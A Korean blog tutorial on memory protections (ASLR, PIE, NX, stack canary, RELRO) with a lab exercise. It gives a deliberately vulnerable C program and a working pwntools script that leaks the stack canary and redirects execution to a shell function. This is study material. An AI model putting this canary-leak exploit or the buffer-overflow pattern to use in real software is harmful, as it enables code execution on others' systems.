2024. 7. 26. 00:43ㆍInformation Security 정보보안/Vulnerability Analysis 취약점 분석
배울내용:
메모리 보호기법
보안기법
Stack Canary
ASLR
NX (No Execute)
RELRO
PIE
Canary 우회방법
카나리 우회방법
메모리 보호기법
앞선 포스팅에서는 취약점 및 해킹을 시도해봤다면 이번에는 보호기법을 알아볼차례다.
대표적으로 아래의 표에 나와있는 ASLR,PIE,NX,Stack Canary,RELRO 가 있다
1. ASLR(Address Space Layout Randomization)
주소 공간 배치 난수화는 OS 차원의 보호기법으로 스택 , 힙 등의 주소를 랜덤화 한다 . 이떄 데이터주소가 매번 바뀌므로 , 스택 ,힙 등의 영역이 익스플로잇에 활용되기 어려워진다. 즉 메모리 기반 공격(예: 버퍼 오버플로우)을 어렵게 만든다.
2. PIE (Position Independent Executable)
바이너리 차원의 보호기법으로, 바이너리 영역의 주소까지 랜덤화한다 . 이때 전역변수 , 함수등의 주소가 매번 바뀌므로 바이너리 영역이 익스플로잇에 활용되기 어려워진다.
즉, 이를 통해 ASLR을 효과적으로 사용할 수 있으며, 각 실행 시마다 코드가 다른 메모리 위치에서 실행되도록 하여 공격자가 특정 주소를 예측하지 못하게 한다.
3. NX(No Execute) , DEP(Data Execution Prevention)
리눅스에서 NX, 윈도우에선 DEP 로 표현되며 Stack 이나 Heap 에서의 코드 실행이 방지된다.
스택이나 힙 같은 메모리 영역에 저장된 데이터를 실행할 수 없도록 설정하여, 버퍼 오버플로우 등을 통한 임의 코드 실행 공격을 방지하여 데이터와 실행 코드를 명확히 분리하여 보안을 강화한다.
즉, Stack 버퍼에 ShellCode를 삽입한 후, 해당 주소를 복귀 주소로 덮어쓰는 공격을 수행할 수 없다. 또한 스택에 코드 실행권한이 없으므로 , shellcode는 실행가능한 코드가 아닌 단순데이터가 되버린다.
4. Stack Canary
스택 카나리(Stack Canary)는 버퍼 오버플로우 공격을 방지하는 데 사용되는 기법이다. 함수 호출 시 스택 프레임에 특별한 값(카나리 값)을 삽입합니다. 이는 스택을 통해 실행되는 코드의 무결성을 보장합니다.
즉, 함수 프롤로그에서 지역변수와 SFP사이에 값을 삽입하고 , 에필로그에서 해당 값이 변조 되었는지 확인한다. 만약 값이 변조되었다면, 메모리가 오염되었다고 판단하고 프로그램을 종료한다.
지역변수와 복귀주소사이에 Stack Canary 가 위치하므로 Stack BOF 통해 지역변수로 복귀주소 덮는공격을 방어할수있다.
5. RELRO (Relocation Read-Only)
RELRO(Relocation Read-Only)는 ELF 바이너리의 취약점을 줄이기 위한 기술로, 재배치 정보를 읽기 전용으로 설정하여 공격자가 이 정보를 수정하지 못하게 한다. 이는 두 가지 모드로 나뉩니다:
- Partial RELRO: 재배치 섹션을 읽기 전용으로 설정.
- Full RELRO: GOT(Global Offset Table)을 포함한 모든 재배치 섹션을 읽기 전용으로 설정
이는 공격자에 특정 섹션의 데이터를 오염시켜, 데이터를 유출하거나 컨트롤 플로우를 변조하는 공격을 방어한다.
위에 내용만 봐서는 기억에 쉽게 남기기 어렵다. 실습을 통해서 정확히 어떻게 작동하는지 보고 스크립트를써서 익스플로잇해보는게 이해하는게 제일 쉽다. 먼저 아래와 같이 코드를 작성해주고 코드안에 있는 커파일 옵션대로 컴파일 해주면 된다.
코드작성- Stack Canary
canary
// gcc -o canary -no-pie canacy.c
#include <stdio.h>
#include <stdlib.h>
int get_shell() {
execve("/bin/sh", NULL, NULL);
return 0;
}
int init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return 0;
}
int vuln() {
char buf[0x100] = {0, };
read(0, buf, 0x200);
printf("%s\n", buf);
read(0, buf, 0x200);
return 0;
}
int main() {
init();
vuln();
return 0;
}
위에 코드를 보면 buf 사이즈가 0x100(256 bytes)인데 read 는 0x200(512) 인걸봐서 Buffer Overflow 가 되는걸 알수있고
get_shell 에 보면 execve("/bin/sh",NULL,NULL); 함수에 ShellCode 가 실행되는걸볼수있다. 아마 BOF 를 이용해서 ShellCode를 실행해주라는 문제인것같다.
보안기법 확인
먼저 컴파일한 위에 파일을 gdb로 열어보자 그리고 checksec 명령어를 실행해서 어떤 보안기법이 적용되어있는지보자.
Gdb canary → checksec
보게되면 RELRO는 Partial로 되어있고(나중에 설명함)
여기서 중요한건 CANARY와 NX 가 ENABLED 되어있다는 것이다.
즉, 프로그램은 함수가 반환되기 전에 Canary 값을 검사하여 변경되었는지 확인 (Canary) 하고
스택 영역은 기본적으로 실행 불가능하게 설정, 이는 코드가 아닌 데이터(예: 스택, 힙)에 악성 코드가 삽입되어 실행되는 것을 방지(NX) 한다.
그러면 이걸 우회를 할줄알아야한다.
익스플로잇 방법
- Canary 우회
- 익스플로잇을 시도할 때는 Canary 값을 알아내어 덮어쓰지 않고 유지해야 한다. 이를 위해 Canary 값을 누출하는 기법이 필요할 수 있다.
- NX 우회
- NX가 활성화되어 있는 경우, 스택에 삽입된 셸코드가 실행되지 않는다. 따라서 익스플로잇은 다른 방법으로 코드 실행을 시도해야 한다.
익스플로잇 시나리오
- Canary 누출
- 첫 번째 read와 printf를 이용해 Canary 값을 누출할 수 있다. printf는 buf를 출력하는데, 이를 통해 Canary 값을 포함한 스택 내용을 출력할 수 있다.
- 익스플로잇 작성
- 두 번째 read 호출에서 오버플로우를 이용하여 스택의 반환 주소를 get_shell 함수의 주소로 덮어쓴다.
- Canary 값을 유지하면서 나머지 스택을 조작하여, vuln 함수가 반환될 때 get_shell 함수로 점프하도록 한다(get_shell 함수안에 execve("bin/sh",NULL,NULL); 라는 shellCode 가 있기떄문에)
Canary 값은 7바이트의 무작위 값과 하위 1바이트의 \x00으로 구성된다.
이러한 부분을 이용해 Canary의 \x00 까지 덮어 씌우면 NULL 값이 사라지고, 이러한 것을 이용해서 Canary의 \x00 까지 덮어씌우면 NULL이 사라져서, buf를 출력할 때 Canary 값이 같이 출력된다.
이때 만약에 NULL 이사라지면 Canary Smashed 하고 에러뜨고 정상적으로 실행이 안되게 된다.
그래서 이 Canary 값을 참고하면, 알맞은 Canary 값을 넣어 변조를 피할 수 있다.
먼저 BOF 의 조건을 마추기 위해서 payload 에 Bof 만큼의 크기를 넣어준다
buf 의 크기가 100 에 SFP 가 8 이나 총 108 을 "A" 로 다 집어 넣어주고 Payload 에 "B" 를넣어주는데 이는 Canary 값을 확인하기 쉽게 하기 위해서이다.
즉 p.recv(1)은 우리가 보낸 'B' 문자를 읽습니다. 이는 Canary 값 앞의 1 바이트를 제거하기 위함이다. 그후에 p.recv(0x7)은 7 바이트의 Canary 값을 읽고 1개를 지운부분을 매꿔주기위해(8 바이트로 만들기 위해) \x00을 추가한다.
스크립트 작성
canary.py
from pwn import *
elf = ELF("./canary")
p = elf.process()
payload=b""
payload+=b"A" * 0x108
payload+=b"B"
p.send(payload) #send line X
p.recv(0x108)
p.recv(1) #"B"
canary= u64(b"\x00" + p.recv(0x7))
log.info(f"canary @ {canary:#x}")
payload=b""
payload+=b"A" * 0x100 #BUF
payload+=b"B" * 0x8 #padding
payload+=p64(canary) #canary
payload+=b"C" * 0x8 #SFP
payload+=p64(elf.sym["get_shell"]) #RET
p.send(payload)
p.interactive()
설명넣은 코드 스크립트
from pwn import *
# ELF 클래스를 사용하여 바이너리 파일 'canary'를 로드
elf = ELF("./canary")
# ELF 바이너리를 로컬에서 실행
p = elf.process()
# Canary 값을 누출하기 위한 첫 번째 페이로드 작성
payload = b""
payload += b"A" * 0x108 # buf 크기(0x100) + Canary(0x8) = 0x108 바이트를 'A'로 채움
payload += b"B" # Canary 값을 덮어쓰는 위치에 'B' 추가
# 페이로드를 프로그램에 전송하여 Canary 값을 누출
p.send(payload) # send line X
# 프로그램으로부터 0x108 바이트를 읽어 버림 (초기 버퍼 내용)
p.recv(0x108)
# Canary 앞의 마지막 바이트 'B'를 읽음
p.recv(1) # "B"
# Canary 값의 상위 7바이트를 읽어 Canary 값을 생성
canary = u64(b"\x00" + p.recv(0x7))
# Canary 값을 16진수로 로그에 출력
log.info(f"canary @ {canary:#x}")
# 익스플로잇 페이로드 작성
payload = b""
payload += b"A" * 0x100 # buf 크기만큼 'A'로 채움
payload += b"B" * 0x8 # Canary와 SFP 사이의 패딩을 'B'로 채움
payload += p64(canary) # Canary 값을 추가
payload += b"C" * 0x8 # SFP(저장된 프레임 포인터) 부분을 'C'로 채움
payload += p64(elf.sym["get_shell"]) # 반환 주소를 'get_shell' 함수의 주소로 설정
# 작성된 페이로드를 프로그램에 전송하여 익스플로잇 시도
p.send(payload)
# 사용자와 프로그램 간의 상호작용 세션을 시작 (쉘 획득)
p.interactive()
이제 스크립트 작성한거를 실행해보면
위에 사진에 보이는것처럼 성공적으로 ShellCode 에 도달했고 "ls" 명령어 또한 작동이 되는걸 확인 할 수있다.
'Information Security 정보보안 > Vulnerability Analysis 취약점 분석' 카테고리의 다른 글
시스템 해킹 실습 -14. ROP(Return Oriented Programming) (0) | 2024.07.29 |
---|---|
시스템 해킹 실습 -12 . Race Condition (레이스 컨디션 취약점) (4) | 2024.07.24 |
시스템 해킹 실습 -11 . Use After Free (해제 후 사용 취약점) (4) | 2024.07.24 |
시스템 해킹 실습 -10 . Buffer OverFlow (버퍼 오버플로우) FAKE RBP [4] (2) | 2024.07.23 |
시스템 해킹 실습 -9 . Buffer OverFlow (버퍼 오버플로우) [3] (2) | 2024.07.23 |